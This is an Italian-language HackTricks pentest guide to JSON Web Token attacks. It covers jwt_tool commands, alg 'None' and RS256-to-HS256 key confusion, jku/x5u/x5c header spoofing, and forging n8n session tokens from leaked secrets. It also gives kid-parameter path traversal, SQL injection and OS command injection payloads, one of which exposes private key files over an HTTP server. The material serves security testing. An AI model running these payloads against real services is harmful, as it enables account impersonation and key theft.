JWT Vulnerabilità (Json Web Tokens)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Parte di questo post si basa sull’ottimo post: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autore del fantastico strumento per il pentest di JWTs https://github.com/ticarpi/jwt_tool
Risultati rapidi
Esegui jwt_tool con la modalità All Tests! e attendi le righe verdi
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Se sei fortunato il tool troverà qualche caso in cui l’applicazione web verifica in modo errato il JWT:
.png)
Poi, puoi cercare la request nel tuo proxy o dumpare il JWT usato per quella richiesta usando jwt_ tool:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.
Manomettere i dati senza modificare nulla
Puoi semplicemente manomettere i dati lasciando la signature così com’è e verificare se il server controlla la firma. Prova a cambiare il tuo username in “admin”, per esempio.
Il token viene verificato?
- Un messaggio di errore suggerisce che è in corso la verifica; eventuali dettagli sensibili nei messaggi di errore verbosi vanno esaminati.
- Una modifica nella pagina restituita indica anch’essa che viene effettuata la verifica.
- Nessuna modifica suggerisce che non viene fatta la verifica; è in questo caso che puoi sperimentare la manomissione delle claims del payload.
Origine
È importante determinare se il token è stato generato server-side o client-side esaminando la cronologia delle richieste nel proxy.
- Token osservati per la prima volta lato client suggeriscono che la chiave potrebbe essere esposta al codice client-side, richiedendo ulteriori indagini.
- Token generati server-side indicano un processo sicuro.
Durata
Controlla se il token dura più di 24h… magari non scade mai. Se è presente il campo “exp”, verifica se il server lo gestisce correttamente.
Brute-force HMAC secret
Derive JWT secrets from leaked config + DB data
Se una arbitrary file read (o backup leak) espone sia application encryption material che user records, a volte puoi ricreare il JWT signing secret e forgiare session cookies senza conoscere password in chiaro. Esempio di pattern osservato negli stack di workflow automation:
- Leak the app key (e.g.,
encryptionKey) from a config file. - Leak the user table to obtain
email,password_hash, anduser_id. - Deriva il signing secret dalla key, poi ricava l’hash per-utente previsto nel payload del JWT:
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- Inserire il token firmato nel cookie di sessione (es.,
n8n-auth) per impersonare l’account utente/amministratore anche se l’hash della password è salato.
Impostare l’algoritmo su None
Impostare l’algoritmo su “None” e rimuovere la parte della firma.
Usa l’estensione di Burp chiamata “JSON Web Token” per provare questa vulnerabilità e per modificare diversi valori all’interno del JWT (invia la richiesta a Repeater e nella scheda “JSON Web Token” puoi modificare i valori del token. Puoi anche scegliere di impostare il valore del campo “Alg” su “None”).
Cambiare l’algoritmo RS256 (asimmetrico) in HS256 (simmetrico) (CVE-2016-5431/CVE-2016-10555)
L’algoritmo HS256 utilizza la secret key per firmare e verificare ogni messaggio.
L’algoritmo RS256 utilizza la private key per firmare il messaggio e la public key per l’autenticazione.
Se cambi l’algoritmo da RS256 a HS256, il codice backend usa la public key come secret key e poi usa l’algoritmo HS256 per verificare la firma.
Quindi, usando la public key e cambiando RS256 in HS256, potremmo creare una firma valida. Puoi recuperare il certificato del web server eseguendo questo:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Nuova chiave pubblica nell’header
Un attaccante inserisce una nuova chiave nell’header del token e il server usa questa nuova chiave per verificare la firma (CVE-2018-0114).
Questo può essere fatto con l’estensione “JSON Web Tokens” per Burp.\
(Invia la richiesta a Repeater, nella scheda JSON Web Token seleziona “CVE-2018-0114” e invia la richiesta).
JWKS Spoofing
Le istruzioni spiegano un metodo per valutare la sicurezza dei token JWT, in particolare quelli che usano la claim header “jku”. Questa claim dovrebbe puntare a un file JWKS (JSON Web Key Set) che contiene la chiave pubblica necessaria per la verifica del token.
-
Valutazione dei token con header “jku”:
-
Verifica l’URL della claim “jku” per assicurarti che punti al file JWKS appropriato.
-
Modifica il valore “jku” del token per indirizzarlo verso un web service controllato, permettendo l’osservazione del traffico.
-
Monitoraggio delle interazioni HTTP:
-
L’osservazione di richieste HTTP verso l’URL specificato indica che il server prova a recuperare le chiavi dal link fornito.
-
Quando usi
jwt_toolper questo processo, è fondamentale aggiornare il filejwtconf.inicon la tua posizione JWKS per facilitare i test. -
Comando per
jwt_tool: -
Esegui il seguente comando per simulare lo scenario con
jwt_tool:
python3 jwt_tool.py JWT_HERE -X s
Panoramica sui problemi di kid
Una claim header opzionale chiamata kid è usata per identificare una chiave specifica, cosa particolarmente importante in ambienti dove esistono più chiavi per la verifica della firma del token. Questa claim aiuta a selezionare la chiave appropriata per verificare la firma del token.
Rivelare la chiave tramite “kid”
Quando la claim kid è presente nell’header, si consiglia di cercare nella directory web il file corrispondente o le sue varianti. Per esempio, se è specificato "kid":"key/12345", dovrebbero essere ricercati i file /key/12345 e /key/12345.pem nella web root.
Path Traversal con “kid”
La claim kid potrebbe anche essere sfruttata per navigare il file system, permettendo potenzialmente la selezione di un file arbitrario. È possibile testare la connettività o eseguire attacchi Server-Side Request Forgery (SSRF) modificando il valore kid per mirare a file o servizi specifici. Manomettere il JWT per cambiare il valore kid mantenendo la firma originale può essere fatto usando il flag -T in jwt_tool, come mostrato di seguito:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Puntando a file con contenuto prevedibile, è possibile forgiare un JWT valido. Per esempio, il file /proc/sys/kernel/randomize_va_space nei sistemi Linux, noto per contenere il valore 2, può essere usato nel parametro kid con 2 come password simmetrica per la generazione del JWT.
SQL Injection tramite “kid”
Se il contenuto del claim kid viene usato per recuperare una password da un database, si potrebbe facilitare una SQL injection modificando il payload di kid. Un payload di esempio che sfrutta SQL injection per alterare il processo di signing del JWT include:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Questa modifica forza l’uso di una secret key nota, ATTACKER, per la firma del JWT.
OS Injection tramite “kid”
Uno scenario in cui il parametro kid specifica un percorso di file usato in un contesto di esecuzione comandi potrebbe portare a vulnerabilità di Remote Code Execution (RCE). Iniettando comandi nel parametro kid, è possibile esporre private keys. Un payload di esempio per ottenere RCE e l’esposizione di chiavi è:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku sta per JWK Set URL.
Se il token usa il claim Header “jku” allora controlla l’URL fornito. Questo dovrebbe puntare a un URL che contiene il file JWKS che tiene la Public Key per verificare il token. Manometti il token per puntare il valore jku a un servizio web sul quale puoi monitorare il traffico.
Per prima cosa devi creare un nuovo certificato con nuove private & public keys
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Poi puoi usare, ad esempio, jwt.io per creare il nuovo JWT con le chiavi pubblica e privata create e impostando il parametro jku sul certificato creato. Per creare un certificato jku valido puoi scaricare quello originale e modificare i parametri necessari.
Puoi ottenere i parametri “e” e “n” da un certificato pubblico usando:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL. Un URI che punta a un insieme di certificati pubblici X.509 (uno standard di formato per certificati) codificati in formato PEM. Il primo certificato nell’insieme deve essere quello usato per firmare questo JWT. I certificati successivi firmano ciascuno il precedente, completando così la catena di certificati. X.509 è definito nella RFC 52807. È richiesta una sicurezza di trasporto per trasferire i certificati.
Prova a modificare questo header inserendo un URL sotto il tuo controllo e verifica se viene ricevuta qualche richiesta. In tal caso potresti manomettere il JWT.
Per forgiare un nuovo token usando un certificato controllato da te, devi creare il certificato ed estrarre la chiave pubblica e quella privata:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Poi puoi usare per esempio jwt.io per creare il nuovo JWT con le chiavi pubblica e privata create e puntando il parametro x5u al certificato .crt creato.
.png)
Puoi anche abusare di entrambe queste vulns per SSRFs.
x5c
Questo parametro può contenere il certificato in base64:
.png)
Se l’attaccante genera un certificato autofirmato e crea un token contraffatto usando la corrispondente chiave privata e sostituisce il valore del parametro “x5c” con il certificato appena generato e modifica gli altri parametri, cioè n, e e x5t, allora essenzialmente il token contraffatto verrebbe accettato dal server.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Chiave pubblica incorporata (CVE-2018-0114)
Se il JWT ha incorporato una chiave pubblica come nello scenario seguente:
.png)
Usando il seguente script nodejs è possibile generare una chiave pubblica da quei dati:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
È possibile generare una nuova private/public key, incorporare la nuova public key all’interno del token e usarla per generare una nuova signature:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Puoi ottenere la “n” e la “e” usando questo script nodejs:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Finally, using the public and private key and the new “n” and “e” values you can use jwt.io to forge a new valid JWT with any information.
ES256: Revealing the private key with same nonce
Se alcune applicazioni usano ES256 e usano lo stesso nonce per generare due jwts, la private key può essere ricostituita.
Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.
However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to replay a request (needing to send 10000 request between each successful replay).
JWT Registered claims
Other attacks
Cross-service Relay Attacks
È stato osservato che alcune applicazioni web si affidano a un servizio JWT di fiducia per la generazione e la gestione dei loro token. Sono stati registrati casi in cui un token, generato per un client dal servizio JWT, è stato accettato da un altro client dello stesso servizio JWT. Se si osserva l’emissione o il rinnovo di un JWT tramite un servizio di terze parti, bisognerebbe indagare la possibilità di registrarsi su un account in un altro client di quel servizio usando lo stesso username/email. Si dovrebbe quindi tentare di replayare il token ottenuto in una richiesta verso il target per verificare se viene accettato.
- L’accettazione del tuo token può indicare un problema critico, potenzialmente permettendo lo spoofing di qualsiasi account utente. Tuttavia, va notato che potrebbe essere necessario ottenere autorizzazioni per test più estesi se ci si registra su un’applicazione di terze parti, poiché questo potrebbe rientrare in una zona grigia legale.
Expiry Check of Tokens
La scadenza del token viene verificata usando la claim di Payload “exp”. Dato che i JWT sono spesso impiegati senza informazioni di sessione, è necessaria una gestione attenta. In molti casi, catturare e replayare il JWT di un altro utente potrebbe consentire l’impersonificazione di quell’utente. La RFC dei JWT raccomanda di mitigare gli attacchi di replay dei JWT utilizzando la claim “exp” per impostare un tempo di scadenza per il token. Inoltre, è cruciale che l’applicazione implementi controlli pertinenti per assicurare l’elaborazione di questo valore e il rifiuto dei token scaduti. Se il token include una claim “exp” e i limiti di tempo per i test lo permettono, è consigliabile memorizzare il token e replayarlo dopo il passaggio del tempo di scadenza. Il contenuto del token, inclusi parsing dei timestamp e controllo della scadenza (timestamp in UTC), può essere letto usando il flag -R di jwt_tool.
- Potrebbe esserci un rischio di sicurezza se l’applicazione continua a validare il token, poiché ciò potrebbe implicare che il token non possa mai scadere.
Tools
GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens
References
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

